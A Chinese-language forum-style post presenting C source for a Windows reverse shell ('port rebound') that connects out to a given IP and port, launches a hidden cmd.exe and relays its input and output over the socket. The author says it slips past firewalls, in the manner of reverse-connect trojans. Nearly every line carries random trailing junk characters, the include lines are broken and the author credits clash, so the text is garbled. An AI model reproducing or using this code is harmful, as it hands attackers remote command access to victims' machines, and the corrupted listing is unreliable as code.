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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 x*OdMr\n8?  
t]K20(FSN  
/* ============================== }`R,C~-|^  
Rebound port in Windows NT uq5?t  
By wind,2006/7 \,R;  
===============================*/ EN m%(G$  
#include 20Zxv!  
#include <AgB"y@  
M}] *j  
#pragma comment(lib,"wsock32.lib") Ow 0>qzTg  
Yp\n=#$[  
void OutputShell(); 'LgRdtO6  
SOCKET sClient; A6(Do]M  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; @O"7@%nu  
uFr12ZFgK  
void main(int argc,char **argv) {-A|f  
{ vQrxx  
WSADATA stWsaData; >n7h%c  
int nRet; HT<p=o'$Z  
SOCKADDR_IN stSaiClient,stSaiServer; *\ii +f-  
`gSMb UgF  
if(argc != 3) F ~A $7  
{ f' A$':Y  
printf("Useage:\n\rRebound DestIP DestPort\n"); A f'&, 1=q  
return; )>@S8v,(  
} \,S |>CPQ  
]zx%"SUM  
WSAStartup(MAKEWORD(2,2),&stWsaData); =3-=p&*  
$J1`.Q>)4  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ky2]%cw  
UL[,A+X8D  
stSaiClient.sin_family = AF_INET; 8AR8u!;8  
stSaiClient.sin_port = htons(0); FJn-cR.n  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 4,y7a=qf3  
 IuY9Q8  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 4/ ` *mPW  
{ )N 3^r>(e<  
printf("Bind Socket Failed!\n"); ] SJ#:7  
return; T)P)B6q   
} Kx9u|fp5  
`r$7Cc$C  
stSaiServer.sin_family = AF_INET; izP )t  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); I>?oVY6M@u  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); B[8bkFS>]  
kQkc+sGJf  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Q`F1t  
{ 3ijPm<wn  
printf("Connect Error!"); .wNXvnWr  
return; Pn!~U] A$%  
} +b 6R  
OutputShell(); G&S2U=KdV%  
} <vcU5 .K.  
[ar0{MPYd  
void OutputShell() eN])qw{  
{ xMr,\r'+  
char szBuff[1024]; gqS9{K(f  
SECURITY_ATTRIBUTES stSecurityAttributes; ` <1Wf  
OSVERSIONINFO stOsversionInfo; xhP~]akHN7  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 4Ly>x>b<  
STARTUPINFO stStartupInfo; Sf S3}Tn[  
char *szShell; |gE1P/%k  
PROCESS_INFORMATION stProcessInformation; lcl|o3yQ  
unsigned long lBytesRead; hDxq9EF  
Au,oX2$  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); k[@P526  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); '3S~QN  
stSecurityAttributes.lpSecurityDescriptor = 0; 7^><Vh"qV  
stSecurityAttributes.bInheritHandle = TRUE; l.@1]4.  
 +vkmS  
X +!+&RAN*  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); { b$"SIg1E  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); {KgA V  
[v~,|N>w  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); >NUbk9}J4  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HoPpUq5,  
stStartupInfo.wShowWindow = SW_HIDE; c|/HX%Y  
stStartupInfo.hStdInput = hReadPipe; LO=U?`)q  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Gd!-fqNa'x  
~&RTLr#\*M  
GetVersionEx(&stOsversionInfo); D|q~n)TW5  
;MN$.x+  
switch(stOsversionInfo.dwPlatformId) M FIb-*wT  
{ c9+G Qp  
case 1: necY/&Ld-  
szShell = "command.com"; =muQ7l:(  
break; ~ YH?wdT  
default: \\SQACN  
szShell = "cmd.exe"; nkHl;;WJ  
break; ]c>@RXY'  
} L3{(B u  
P}4&J ^  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); [|:{qQyD  
| In{5E k  
send(sClient,szMsg,77,0); .\caRb[  
while(1) G!j9D  
{ dgP e H8_  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); +@ChZ  
if(lBytesRead) *aCL/:  
{ 7.29'  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); :^y!z1\2(7  
send(sClient,szBuff,lBytesRead,0); $5pCfW8>  
} kgo#JY-4  
else +iC:/CJL  
{ _9>,9aL  
lBytesRead=recv(sClient,szBuff,1024,0); ins(RWO  
if(lBytesRead<=0) break; m]?Z_*1  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ]1++$Ej  
} b d 1^  
} v_zt$bf{Y  
QYbB\Y  
return; :[<Y#EX.  
}
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